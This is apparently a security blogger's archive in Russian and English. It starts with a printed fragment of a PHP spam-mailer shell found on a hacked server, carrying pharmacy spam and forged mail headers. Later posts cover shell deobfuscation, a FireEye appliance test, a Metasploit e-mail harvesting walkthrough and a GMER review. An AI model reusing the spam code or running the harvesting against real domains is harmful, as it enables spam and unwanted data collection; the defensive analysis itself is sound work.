/* {C}{C}{C}{C}(function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
", "Get your   drugs iin nooo time  thaaannnks ttto quick shipping", "BBuy thhe best qqualiity geeeneric andd nmee brnnds onlne with worldwwwidee  shippping.
 
http://thenmozhi.org/oldfiles/backup/uw8ck.php", "From: wpsbhy@" . $_SERVER['SERVER_NAME'] . "
" . "Reply-To: wpsbhy@" . $_SERVER['SERVER_NAME']);
echo 'l0978q';



интересно увидеть, как код пытается перезаписать переменные  $_SERVER, наверно чтобы скрыть себя от логов и я бы не узал работает он или нет...

Остаётся только типичный спам, с некоторым интересным  javascript после почтового адреса (и без тела).
Да, надо разбанить сервер почты во всех блеклистах, в которые он попал за 2 суток...

с админа сервера ПИВО)

Деобфускация шеллов
cert_ua
Вы админ сайта или занимаетесь IT-безопасностью?
Бывает так, что Ваш подопечный веб-ресурс взломали и Вы нашли там залитый шелл.
Как правило, он шелл обфусцирован и Вы просто удаляете его с сервера.
Если надо разобраться КАК это произошло и что за уязвимость была экплуатирована - неплохо бы понять что за шелл Вам залил хакер.
Это можно сделать многими способами, из которых я покажу 2:

1. Веб-сайты по деобфускации:

Это менее хардкорный сервис as-is "для лентяев" - сайт www.unphp.net. Там есть простое окошко, куда Вы вводите свою "ХРЕНЬ" и получаете готовый и более удобочитаемый скрипт.


1
Проверим как это работает.
Я нашёл шелл на сайте друпала (конечно я сказал им об этом):
1
 скопировал этот текст в буфер обмена и просто вставил в окно www.unphp.net. Результат ниже:

1
1

На этом же сайте есть возможность посмотреть недавно загруженніе другими желлы и результаты их обработки. Лично мне подумалось (я ел двойную печеньку с доброй стороны), что можно сделать софт, который апдейтит свою базу известных шеллов и их деобфусцированных версий, просто парся эту страничку:

1
...а потом, этот мой софт мог бы искать залитые шаллы в некоторых доменах за небольшие деньги, всегда оставаясь актуальным (пока есть доступ в Интернет и владельцы сайта не переделали свой дизайн)...

...а злая сторона печеньки подсказывает, что можно сделать систему мониторинга того, что Ваш шелл спалили и перевыпускать новые модификации шелла как только они засветились на этом и подобных сайтах...хе-хе


2. В *nix-системах с помощью командной строки:

Об этом написано тут. Проверил, работает, пользуюсь.

Как я тестировал оборудование Fire Eye
cert_ua
  Недавно посчастливилось опробовать новое и только приехавшее в Украину оборудование защиты корпоративных решений от фирмы FireEye. Это оборудование предназначено для защиты от APT и эффективного расследования инцидентов информационной безопасности.

  Мне были предоставлены три комплекта - 7400 NX, 7400 CMS и 7400 EX. Они только появились на территории Украины, производятся в США. Форм-фактор - 2-юнитный сервер, прикольная на вид железного цвета панель, глубина сервера - полная.
Итак, по очереди расскажу о каждой.

1. 7400 NX - средство обеспечения защиты от APT для корпоративных сетей среднего масштаба от веб-based атак.

3
Если сухо с прайса магазина, то ТТХ примерно такие:

7

Базовая установка проходит путём захода через консольный порт RS-232 (кабеля в поставке не обнаружилось, но я находчив!) и ввода магических строк для запуска мастера начальной установки (он сбрасывает предыдущую настройку):

fireeye > enable
fireeye # configure terminal
fireeye (config) # configuration jump-start

Там я ответил на 15 относительно простых вопросов об адресах административного интерфейса, шлюза сети,
доменного сервера (я указал 8.8.8.8 и заработало), ключах лицензий и обновлений (у меня их
небыло и я пропустил этот шаг, нажав ввод и выбрав Evaluation license), а так же NTP-сервера (я пропустил этот
шаг и настроил это потом через веб-интерфейс).
После базового мастера я сделал (по привычке, выработаной годами работы с Cisco) команду write mem
и потушил по питанию устройство, отнёс его в серверную (чтоб не шумело и не чувствовало температурный
дискомфорт. Этот дискомфорт при температуре примерно 20 градусов выражается у него в мигании индикатора
"градусника" на передней панели и дикого писка). Смонтировав 7400 NX (я назвал его Ogneglaz), зашёл на него по https как советуется для пущей безопасности:

2

логин\пароль по умолчанию - admin\admin (я не стал их менять при начальной конфигурации)..зачем? мы же тестируем))
  Главное меню находится сверху, подменю - слева.

2

В окошке About мне была показана информация о используемых портах устройства, сервисе DTI (Digital Thread Intelligence), состоянии "железной" составляющей сервера, версии ПО виртуальных операционных систем (на которых всё собственно и тестируется внутри, их у нас тут три - Win XP Sp3, Win 7 x64 Sp1 и Win 7 Sp1), а также версии собственного ПО (которое при заходе в эту опцию само и сразу же попыталось полезть в Интернет и обновиться). На момент начальной установки работали следующие виртуальные операционные системы:

7

Не очень хорошо, что их нельзя менять прямо из графической оболочки. Видимо, это возможно только из командной строки.

Как видно на рисунке, у меня проблемы с лицензией и disabled опция Security content.


4

  Отдельно о  DTI (Digital Thread Intelligence) - это такой облачный сервис по анализу всех собранных образцов вредоносного ПО со всего оборудования Fire Eye по всему миру, в гайдах схематически выглядит это примерно так (у нас - Web MPS):
5
Через это облако, расположенное где-то за океаном, устройства узнают по протоколу https о новых видах угроз, там проводится анализ этого вредоносного ПО и устройства понимают как бороться и как функционируют новые виды вредоносов. Напомню, APT  - это такой вид атак, к которому на начальном этапе неприменим сигнатурный метод (т.к. сигнатур атаки нет на момент проведения атаки), потому 7400 NX, обнаружив зло, тестирует его локально на трёх видах виртуальных машин с виндой, а потом шлёт на анализ в DTI. По неофициальной информации, некоторым странам-заказчикам не доверившим свою информацию для обработки в чужом облаке, сейчас строят своё облако для такого анализа.

Перед проведением любых обновлений и настроек гайд рекомендует мне провести валидацию моих настроек DTI, для этого захожу в Settings: MPC (DTI) Network:

8

Таким образом, есть три+один варианта получения обновлений из облака DTI:
- обновление в рамках начальной (initial) конфигурации;
- периодическое обновление, когда выходят новые релизы апдейтов FireEye. Апдейты выходят когда обновлён профиль безопасности (malware threat profile), выходит новая версия ПО (product release) или патч.

Убеждаюсь, что обновления происходят как положено:

9

Первый вывод - отсутствие лицензий на железку помешает обновлять её знания о новых видах АРТ из облака и сам софт. Тоесть, если Вы не купили новую лицензию на год, то оборудование будет противодействовать только ранее известным видам угроз (а может ли оно реагировать хоть на какие-то угрозы при кончившейся лицензии, не лазя в облако? хм..будем тестировать ведь "такой хоккей нам не нужен", когда нестабильность в стране может запросто привести к непокупке ключика вовремя).

ВРЕЗКА: когда ключи закончились, на почту, которую мы указали как админсткую, исправно пришло ТРИЖДЫ такое вот сообщение:

7
КОНЕЦ ВРЕЗКИ...


Нормальное состояние обновившейся 7400 NX должно быть таким:
9
После обновления лицензий предлагается обновить софт и сигнатуры в окошке about кнопочкой:
9

На этом базовая настройка закончена, переходиим к администрированию.

Настройка будет производиться по схеме, когда трафик клиентов дублируется на порт, который слушает 7400 NX.

Основная политика настраивается на окошке снизу:
1

Вся настройка, которая нам надо - это поставить радиобаттон на "Тар" в верхней табличке. Это переведёт FireEye в режим "только слушаю и сигнализирую" (тоесть не инлайн режим, когда железки стоят в разрезе и могут блокировать нежелательный трафик).

2. Система управления FireEye CMS 7400

Эту врезку в стройный алгоритм тестирования NX'a я сделал для того, чтобы объяснить некоторые щекотливые моменты совместимости управляющей части (CMS) с сенсорами и анализаторами (у нас это ЕХ и NX), а так же логику их взаимодействия.

Как показано на схемке выше,  CMS принимает от ЕХ и NX "сигналы беды" параллельно с самим CMS. Если CMS нашёл беду первым (допустим, это письмо с атачментом в виде вируса), то он раздаёт работу с письмом - ЕХ'у, а с самим вредоносом разбирается NX. Результат работы сенсоров потом возвращается на CMS и дополнительно анализируется.

Такая иерархия взаимодействия логична, но накладывает не совсем понятные ограничения на версии ПО, работающего на всех трёх железках. У нас несостыковка версий NX (тут была версия 7.1) с CMS (тут была версия 6.4) вызвала ошибку добавления в CMS'е NX'а, как устройства мониторинга. Короче, нам пришлось запросить у поставщика оборудования новые ключи (нам их весьма оперативно дали), удалить старые ключи и ввести новые, что дало возможность обновить ПО. Что CMS предлагает обновиться - нам говорит скрин ниже:

8

Выводы:
1. Без ключей железяки не обновляются (это касается лазанья в облако за новыми актуальными данными о новвых видах атак и системного ПО, которое может напряму влиять на работу самих железок и на их совместимость с упрявляющей ими
CMS. Тоесть, например, возможна такая ситуация, когда обновление версии сенсора приведёт к выпадению её из списка (у нас так и случилось). Это заставляет обратить внимание на своевременнную (читай, заблаговременнную) закупку ключей лицензий, а так же на то, что информацию о совместимости версий надо вытаскивать из саппорта клещами  заранее (до собственно обновления).
2. В гугле описания решения проблемы, а так же обсуждения подобных проблем нам найти не удалось. Тоесть, покупая такую железку, надо становиться членом комьюнити и, как минимум, завести соответствующий аккаунт на сайте изготовителя, не забрасывая в далёкий ящик контакт сапорта.

Итак, CMS "увидела" NX:

7

Критическое состояние - потому что ключи подходят к концу срока годности.

3. Подключаем к одному из 4 слушающих (не менеджмент) портов NXа патчкорд, который воткнут в SPAN-порт коммутатора Cisco и в котором бежит копия траффика локальной сети воображаемого клиента. При настройках порта таким образом оборудование FireEye не может посылать свой траффик в него, а только получает траффик.

и...
заработало:

- поднялся порт NX и побежала статистика принятых-отправленных пакетов:
7

...и первым делом я делаю тест оборудования путём встроенного механизма. Я запросил выслать мне все 5 видов образцов "тестового зла":

7

Выпадающее окошко обьяснило, что зло - тестовое и придёт через некоторое время в виде соответствующих файлов/контента. Через несколько часов пришли и были отображены несколько тестов, вот один их них:

7
Как видно, с IANA'овских блоков IP нам прислали тест, иммитирующий callback малваря, ворующего данные юзеров, на хост в "мире".

Но тестирование мы ужесточили и подключили локальную сеть, через 5 минут мы получили интересный результат:

7

Как видно, названия малварей кликабельны и о них можно почитать, получив доступ в облако (напомню, оно в США). Доступ в это облако запросим у поставщика, допишем впечатления...

При клике на маленький красный треугольничек слева открываются детали зафиксированной malitious activity:

7
итак, видно кто заражен, куда отстукивает, как идёт отстук, MAC и IP адреса источника и назначения этого взаимодействия, заголовок GET  HTTP протокола и все поля, версию браузера...тоесть вполне достаточно, чтобы достаточно информативно огорчить админа этой сети, сообщив ему о найденном зараженном компьютере в его сети.

Так же на предыдущем рисунке в графе "Callbacks" виден один отстук. Раскрытие меню даёт возможность ознакомиться с деталями такого отстука (это попытка зараженного компьютера (бота/зомби) связаться с управляющим им сервером), а так же посмотреть/сохранить pcap-файл (сохранённый трафик) этого отстука:

7

Ну и видим, что такой файл с трафиком открывается обычным Wireshark-ом. Это незаменимо для последующего анализа малваря и более детального разбора инцидента.

7

Для того, чтобы понять как работает оборудование в динамике, мы оставили его поработать на ночь. Dashboard за это время должен нарисовать нам первые графики.

4. Прошло некоторое время с момента запуска и тестирования оборудования.  NX выявил несколько вредоносов в сетях:

7

Итого, выявлено 2 АРТ-атаки, скомпрометированы несколько хостов сети и это отображено в виде понятных графиков и диаграмм. При это так же доступна информация о том, какой вирус когда себя обнаруживал для оборудования:

7

Кроме того, есть возможность визуализации и классификации всего проходящего трафика по типам/протоколам (меню справа на всех графиках кликабельны и позволяют показать/скрыть любой вид):

7

Для более детального изучения найденных угроз возможно создание отчётов по атакам, активности малварей и т.д. Для примера создадим несколько отчётов:

7

Чтобы ознакомиться с ними - достаточно стандартных офисных пакетов или даже обычного текстового редактора:

Отчёт по Malware activity и Суммарный отчёт в Вашему вниманию. комментарии излишни. там всё подробно и красиво (на наш взгляд расписано). А вот так выглядит расширенный текстовый отчёт по атакам:

7

Так же имеется весьма гибкая возможность планирования (автоматизации) генерирования отчётов:

7

Можно задать периодичность создания отчётов, тип отчёта и способ его доставки (почта или складировать в виде файла). Для примера мы задали три вида отчётов:

7

Итого, за сутки NX выявил 6 разных видов зловредов в подопытной площадке. Но, согласно настройке, не позволяющей ему активно вмешиваться в трафик клиентов и блокировать их, атаки не блокировались. Скрин CMS показывает найденное в трёх видах как это выглядит со стороны:

- таблица:

7

- графики (мне особо понравилось):

7

- нечто квадратное, позволяющее оценить масштабы и относительность каждого вида угроз (у FireEye это - Treemaps):

7

последний тип визуализации позволяет делать разнвые срезы - по маске подсети, именам зловредов и за разные промежутки времени...вот пример таблицы "какие в сетях с маской \24 за последние 24 часа разные по именам были найдены вирусы":

7

Что же по зараженным хостам? смотрим общую статистику по хостам:

7

клик на название трояна даёт рекомендации из облачного сервиса от производителя:

7

...тоесть сей вид зла специалисты заморские ещё не закончили анализировать и угрозы не очевидны (но они есть!). И потому предлагается патчить браузеры, софт, фаерволлы и IDS'ы. Так же надо не читать атачменты в почте от неизвестных отправителей, не позволять ставить незнакомый софт из неизвестных источников и т.д. и если (вдруг) возникнут вопросы - можно обратиться по соответствующим контактным данным. Особенно забавна фраза про "особо отважных юзеров, которые могут попытаться самостоятельно очистить зараженную систему от зловреда" :)


5. Разграничение полномочий

NX имеет возможности по разграничению полномочий для пользователей. Есть 5 стандартных ролей и я добавил одного нового юзера в роли аналитика...

7

при попытке добавления нового пользователя мне выдало ошибку, которая гласила, что пробел недопустим в имени. Это запустило механизм пентеста в моей голове)) я выяснил, что недопустима так же кириллица, а экранируются все символы, кроме слешей. На введённый мной в поле имени юзера слеш система ответила мне системной ошибкой, которую по моему мнению разработчику лучше было бы убрать (она свидетельствует о раскрытии внутренних путей и плохой "защите от дурака" или фаззинга). Это не критично, скажем, для рядового свича, но кто знает, вдруг - хакер получит удалённый рабочий стол на ПК админа и попытается закинуть свой зловред прямо через GUI NX'а...моё мнение такое - если графический интерфейс есть - он должен скрыть от его пользователя всю системную часть сервера. Ведь именно через выявление недокументированных и плохо фильтруемых параметров команд в IOS ломают, например, Cisco...вот скриншот ошибки:

7

Присутствие поля VLAN намекнуло о мультивлановой сетевухе сервера, но  не проверялось. Если да - то очень хорошо, т.к. это позволяет локализовать домен коллизий, ограничив доступ для каждой учётки ещё и тегом виртуальной локальной сети. Кроме того, можно ограничить доступ по учтной записи так же и по сети с произвольной маской, а так же менять пароли.

6. Уведомления
NX для уведомлений использует некое подобие матрицы, которая весьма гибко позволяет настраивать триггеры при наступлении разных событий:

7

При выборе какого-то чекбокса справа выпадает менюшка для настройки именно этого вида уведомлений (в зависимости от протокола эти менюшки отличаются). Соответственно, в нижней части можно добавлять те серверы, которые будут получать такие уведомления.

Так же имеется возможность получения от системы уведомлений по почте:

7

Уведомления могут быть отфильтрованы по группам (чекбоксы на скрине) для каждого почтового ящика.

Вывод: отчёты и настройка уведомлений достаточно гибкая и понятная. Спамить FireEye не будет, а дежурная смена сможет легко и быстро локализовать проблему.

Для дополнительной защиты и обеспечения безопасной работы с оборудованием по HTTPS есть возможность  подключить сертификаты и ключевые данные:

7
NX поддерживает возможность работы с интсрументарием классификации и идентификации малварей, который называется YARA. Это полезный и мощный инструмент для того, кто хочет провести форенсику. Подробнее о YARA - тут и тут. Его используют такие гиганты, как virustotal, volatility и т.д. В NX есть возможность задать имя файла с шаблоном для разных типов файлов (всего около 30 стандартных расширений):

7

7. 7400 EX - устройство для защиты почтового информационного обмена.

Подключен 7400 EX был аналогично в режиме "только слушаю" к SPAN-порту коммутатора, который принимал траффик почтового тестового почтового домена.

После начальной настройки по аналогии с NX и захода по http выводится стандартное (для всех образцов FireEye это окно почти одинаковое) приглашение к авторизации с выводом настраиваемого устрашения уведомления о том, что мы пытаемся досутпиться на не рядовую железку в сети...нет чтобы иммитировать принтер)):

7

Интересен момент отсутствия средств защиты от подбора аутентификационных данных формы авторизации в сочетании с протоколом HTTP по умолчанию. Ни капчи, ни чего-либо подобного тут нет, тоесть разработчики как бы не ожидают инсайдерских угроз, MITM и т.д. После начального входа под админскими правами я открываю https-сессию:

7

Дефолтный дашборд EX'а выглядит так:

7

он так же гибок и информативен, обображает колличества отсканированных почтовых ссобщений, найденных в общем слушаемом потоке зараженных вирусами потчтовых сообщений, вложений. Сортирует почту по источникам, которых касались алерты и визуализирует эти данные (2 нижних графика пока пусты, ведь мы же только начали тест).

Ключи у нас отсутствовали и через несколько часов ожидания в фильтруемом почтовом трафике первого "опасного" письма мы поняли важны момент:

ЕХ не работает по сути без ключей, пропуская всё подряд!

Это его отличие в худшую сторону от NX'a, который ловит всё, только не обновляет базы при просроченных ключах. Вывод прост - если не собираетесь продлевать ключи - позаботьтесь до окончания ключей об альтернативе EX'у для звщиты от атак по почте.

Далее пробежимся по вкладкам ЕХа:

- алерты могут оборажаться по времени появления, фильтроваться за какой-то промежуток или по встречаемым частям текста (например, можно найти определённый вредонос). По каждому из полей возможна сортировка.

7

- карантин так же может быть отфильтрован по времени, искомому тексту и параметрам писем, в которых он  найден. По каждому из полей возможна сортировка.

7

- окно настроек подобно NX'у, но содержит меню которые уникальны в связи с спецификой ЕХа - работа с почтой:

7

ЕХ имеет матрицу событий немного более узкую, чем его собрат NX, а именно - он информирует только при выявления малваря:

7

Окно настроек агента доставки почты выглядит таким образом:

7

Это окно надо в том случае, если ЕХ настраивается как мейл-релей (тоесть будет принимать почту и передавать её дальше после проверки). У нас не этот случай, так что мы тут оставили всё как есть.

Наконец, наверно, самое важное окно ЕХа - окно настроек фильтрации почты:


7

Тут подтвердилось опасение, что без лицензии атачи не проверяются вообще. Остальное выглядит хорошо и работает. Почту можно дропать 4 разными типами, фантастика.

Окно настроек ассоциаций программ для открытия атачментов к почте разными приложениями - весьма длинное и даёт возможность открыть что угодно чем угодно. Я бы открыл вордовский документ свежезалитым шеллом))...интересно, завопит ли защитный механизм ЕХа при такой попытке (и есть ли такой в природе на виртуальных машинках)?

Кстати, окно виртуальных машин такое же статичное как и в NX, содержит 5 разных образов виндовс-машин. Нет, действие малварей на MAC и Unix-системы не изучается:

7

Окно сертификатов имеет такой вид:

7

Окно отчётов выглядит так:

7

Мы получили новые ключи и ввели их:

7

Как видно из скриншота, каждый ключ активирует определённую "фичу", которых у нас 6. По всей видимости, ЕХ использует для антивирусной проверки движок антивируса Sophos. Оборудование "ожило" после того, как ключи были введены. Это обображено в политиках фильтрации почты:

7

..а так же в окне About, через которое после ввода ключей надо первым делом обновить все компоненты ЕХа:

7

Мы попробовали обновить то, что можно:

7

e-mail harvesting with msf
cert_ua
I'll use BackTarck Linux to demostrate (just for fun!) examlpe of e-mail harvesting. This can be done with metasploit tool called search_email_collector.

1. Let's start msf console:
# msfpro

1
i have metasploit pro console that successfully loaded..go on

2. search that console for exploit needed to us by typing:

>search collector

2

we need selected with red color exploit. So let's use it, configure and then execute it

3. Executing:

> use auxiliary/gather/search_email_collector

3

4. We can see various variables for this exploit:

> show options

4
These variables can be set and/or modified as we need. In my example i'll set a DOMAIN variable to custom domain as shown below:

5

6. We can begin e-mail gathering now by just running command exploit:

6

I hope it would be usefull. Enjoy but remember - google can block U if exploitation will become insane 8]

Review of antirookit tool GMER v 2.1.19357
cert_ua
I'll tell You about some free and usable rootkit tools and their abilities. I try to setup them on some Windows XP SP2 PC and check if some malware is present on it.

1. GMER v 2.1.19357

Can be found here.

Note: some malitious soft won't let gmer.exe launch by detecting and blocking GMER's execution! Developers of GMER recommend to download it like a randomly named EXE-file using button near download link.

It scans for:








  • hidden processes

  • hidden threads

  • hidden modules

  • hidden services

  • hidden files

  • hidden disk sectors (MBR)

  • hidden Alternate Data Streams

  • hidden registry keys

  • drivers hooking SSDT

  • drivers hooking IDT

  • drivers hooking IRP calls

  • inline hooks

  • looks like:
33

as we executed GMER - it already does quick scan (it detected 2 malwares in my PC). After some malwares found we can do some operations with it as shown below:

34

Tab Modules shows information about processes list (like ps command in unix systems), threads and libraries used by any process. Also we can kill or restat any/all working prosesses in system:

35
Tabs Modules and Services are similar and shows us information about working programs and libraries used by them:
36

37

Tab Files can give an ability to surf by filesystem with windows-like interface (far and mc are in panic he he):
38

Tab Registry gives interface that similar to just doing regedit command in windows:
39
We can also check autostarting software by using Autostart tab (click on Scan button and this process takes around 15 seconds):
39
Tab cmd gives command line interface which i've found not very usable (it can't do commands inside of interface of commands. for example it was unable to do hostname resolving inside of nslookup command with this functionality):
39

So...what's wrong with my PC?) what about these rootkits? GMER found and tagged as malware next 2 files:
fltmgr.sys and VMkbd.sys
39
digging in problem gave me an answer. I've checked filesize of fltmgr.sys that lies at C:/Windows/System32/drivers/ - 192k.
I think, GMER marked these file as malware beacuse files sizes where differed from desribed in some databases with filesizes for my Wndows version (it must be another size as says one of specialised web sites):
39
Checking that files with virustotal.com also gave me information about false positives of GMER malware detection:
39


GMER is good tool for simple malware search. It has not bad functionalty and fast.

...подумалось...
cert_ua
СМИ пишут о ком-то или о чём-то в хороших тонах - значит им за это заплатили. Обо всё остальном СМИ пишут чтоб заплатил я.
И ещё вот что, Филипп Пилиппович Преображенский сказал что-то типо "не читайте, милостивый государь, газет перед едой"...нету позитива в информации из СМИ.

You are viewing cert_ua